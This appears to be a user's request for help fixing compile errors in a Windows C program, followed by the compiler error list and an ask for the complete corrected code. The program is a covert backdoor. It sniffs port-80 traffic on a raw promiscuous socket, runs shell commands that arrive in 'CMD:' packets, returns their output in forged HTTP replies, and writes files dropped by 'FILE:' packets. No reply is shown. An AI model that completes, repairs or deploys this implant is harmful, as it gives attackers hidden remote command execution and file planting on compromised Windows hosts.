#include <winsock2.h>
#include <ws2tcpip.h>
#include <stdio.h>
#include <stdlib.h>
#include <process.h>
#pragma comment(lib, "ws2_32.lib")
#define MAX_PACKET_SIZE 65536
#define HTTP_PORT 80
#pragma pack(push, 1)
typedef struct _IP_HEADER {
UCHAR ver_ihl;
UCHAR tos;
USHORT tot_len;
USHORT id;
USHORT frag_off;
UCHAR ttl;
UCHAR protocol;
USHORT check;
ULONG saddr;
ULONG daddr;
} IP_HEADER;
typedef struct _TCP_HEADER {
USHORT src_port;
USHORT dst_port;
ULONG seq_num;
ULONG ack_num;
UCHAR data_offset;
UCHAR flags;
USHORT window;
USHORT checksum;
USHORT urg_ptr;
} TCP_HEADER;
#pragma pack(pop)
// 计算校验和
USHORT checksum(USHORT* buffer, int size) {
ULONG cksum = 0;
while (size > 1) {
cksum += *buffer++;
size -= sizeof(USHORT);
}
if (size) cksum += *(UCHAR*)buffer;
cksum = (cksum >> 16) + (cksum & 0xffff);
cksum += (cksum >> 16);
return (USHORT)(~cksum);
}
// 执行命令并返回结果
void execute_command(char* cmd, char* output) {
FILE* fp = _popen(cmd, "r");
if (fp) {
fgets(output, 1024, fp);
_pclose(fp);
}
else {
strcpy(output, "Command failed");
}
}
int main() {
WSADATA wsa;
SOCKET sock;
DWORD flag = RCVALL_ON;
struct sockaddr_in saddr;
char buffer[MAX_PACKET_SIZE];
// 初始化Winsock
if (WSAStartup(MAKEWORD(2, 2), &wsa) != 0) {
printf("WSAStartup failed: %d\n", WSAGetLastError());
return 1;
}
// 创建原始套接字
sock = WSASocket(AF_INET, SOCK_RAW, IPPROTO_TCP, NULL, 0, WSA_FLAG_OVERLAPPED);
if (sock == INVALID_SOCKET) {
printf("Socket creation failed: %d\n", WSAGetLastError());
WSACleanup();
return 1;
}
// 设置端口复用
int opt = 1;
if (setsockopt(sock, SOL_SOCKET, SO_REUSEADDR, (char*)&opt, sizeof(opt)) == SOCKET_ERROR) {
printf("SO_REUSEADDR failed: %d\n", WSAGetLastError());
}
// 绑定80端口
memset(&saddr, 0, sizeof(saddr));
saddr.sin_family = AF_INET;
saddr.sin_port = htons(HTTP_PORT);
saddr.sin_addr.s_addr = INADDR_ANY;
if (bind(sock, (SOCKADDR*)&saddr, sizeof(saddr)) == SOCKET_ERROR) {
printf("Bind failed: %d\n", WSAGetLastError());
closesocket(sock);
WSACleanup();
return 1;
}
// 设置混杂模式
DWORD bytesRet;
if (WSAIoctl(sock, SIO_RCVALL, &flag, sizeof(flag), NULL, 0, &bytesRet, NULL, NULL) == SOCKET_ERROR) {
printf("WSAIoctl failed: %d\n", WSAGetLastError());
closesocket(sock);
WSACleanup();
return 1;
}
printf("[+] Server listening on port 80...\n");
while (1) {
int ret = recv(sock, buffer, MAX_PACKET_SIZE, 0);
if (ret <= 0) continue;
IP_HEADER* iph = (IP_HEADER*)buffer;
TCP_HEADER* tcph = (TCP_HEADER*)(buffer + (iph->ver_ihl & 0x0F) * 4);
// 只处理目标端口为80的TCP包
if (ntohs(tcph->dst_port) != HTTP_PORT) continue;
char* payload = buffer + (iph->ver_ihl & 0x0F) * 4 + (tcph->data_offset >> 4) * 4;
int payload_len = ret - ((iph->ver_ihl & 0x0F) * 4 + (tcph->data_offset >> 4) * 4);
if (payload_len > 0) {
// 命令执行功能
if (strncmp(payload, "CMD:", 4) == 0) {
char cmd_output[1024];
execute_command(payload + 4, cmd_output);
printf("[+] Command executed: %s\nResult: %s\n", payload + 4, cmd_output);
// 构造响应包
char resp_packet[1500];
IP_HEADER* resp_ip = (IP_HEADER*)resp_packet;
TCP_HEADER* resp_tcp = (TCP_HEADER*)(resp_packet + sizeof(IP_HEADER));
// 填充IP头
memcpy(resp_ip, iph, sizeof(IP_HEADER));
resp_ip->saddr = iph->daddr;
resp_ip->daddr = iph->saddr;
// 填充TCP头
resp_tcp->src_port = tcph->dst_port;
resp_tcp->dst_port = tcph->src_port;
resp_tcp->seq_num = htonl(ntohl(tcph->ack_num));
resp_tcp->ack_num = htonl(ntohl(tcph->seq_num) + payload_len);
resp_tcp->data_offset = 0x50; // 5 * 4 = 20字节
resp_tcp->flags = 0x18; // PSH+ACK
resp_tcp->window = htons(64240);
// 填充负载
char* resp_payload = resp_packet + sizeof(IP_HEADER) + sizeof(TCP_HEADER);
sprintf(resp_payload, "HTTP/1.1 200 OK\r\nContent-Length: %d\r\n\r\n%s",
strlen(cmd_output), cmd_output);
// 发送响应
struct sockaddr_in dest;
dest.sin_family = AF_INET;
dest.sin_addr.s_addr = resp_ip->daddr;
sendto(sock, resp_packet, sizeof(IP_HEADER) + sizeof(TCP_HEADER) + strlen(resp_payload),
0, (SOCKADDR*)&dest, sizeof(dest));
}
// 文件传输功能
else if (strncmp(payload, "FILE:", 5) == 0) {
char filename[256];
sscanf(payload + 5, "%s", filename);
printf("[+] Receiving file: %s\n", filename);
FILE* fp = fopen(filename, "wb");
if (fp) {
fwrite(payload + 5 + strlen(filename) + 1, 1,
payload_len - 5 - strlen(filename) - 1, fp);
fclose(fp);
}
}
}
}
closesocket(sock);
WSACleanup();
return 0;
}
该程序有以下报错:
严重性 代码 说明 项目 文件 行 抑制状态 详细信息
错误 C4996 'fopen': This function or variable may be unsafe. Consider using fopen_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details. 80服务端 C:\Users\123\source\repos\80服务端\80服务端\80服务端.cpp 170
严重性 代码 说明 项目 文件 行 抑制状态 详细信息
错误 C4996 'sscanf': This function or variable may be unsafe. Consider using sscanf_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details. 80服务端 C:\Users\123\source\repos\80服务端\80服务端\80服务端.cpp 167
严重性 代码 说明 项目 文件 行 抑制状态 详细信息
错误 C4996 'sprintf': This function or variable may be unsafe. Consider using sprintf_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details. 80服务端 C:\Users\123\source\repos\80服务端\80服务端\80服务端.cpp 154
严重性 代码 说明 项目 文件 行 抑制状态 详细信息
错误 C2065 “SIO_RCVALL”: 未声明的标识符 80服务端 C:\Users\123\source\repos\80服务端\80服务端\80服务端.cpp 104
严重性 代码 说明 项目 文件 行 抑制状态 详细信息
错误 C2065 “RCVALL_ON”: 未声明的标识符 80服务端 C:\Users\123\source\repos\80服务端\80服务端\80服务端.cpp 66
严重性 代码 说明 项目 文件 行 抑制状态 详细信息
错误 C4996 'strcpy': This function or variable may be unsafe. Consider using strcpy_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details. 80服务端 C:\Users\123\source\repos\80服务端\80服务端\80服务端.cpp 59
严重性 代码 说明 项目 文件 行 抑制状态 详细信息
错误(活动) E0020 未定义标识符 "SIO_RCVALL" 80服务端 C:\Users\123\source\repos\80服务端\80服务端\80服务端.cpp 104
严重性 代码 说明 项目 文件 行 抑制状态 详细信息
错误(活动) E0020 未定义标识符 "RCVALL_ON" 80服务端 C:\Users\123\source\repos\80服务端\80服务端\80服务端.cpp 66
给出修改后的完整代码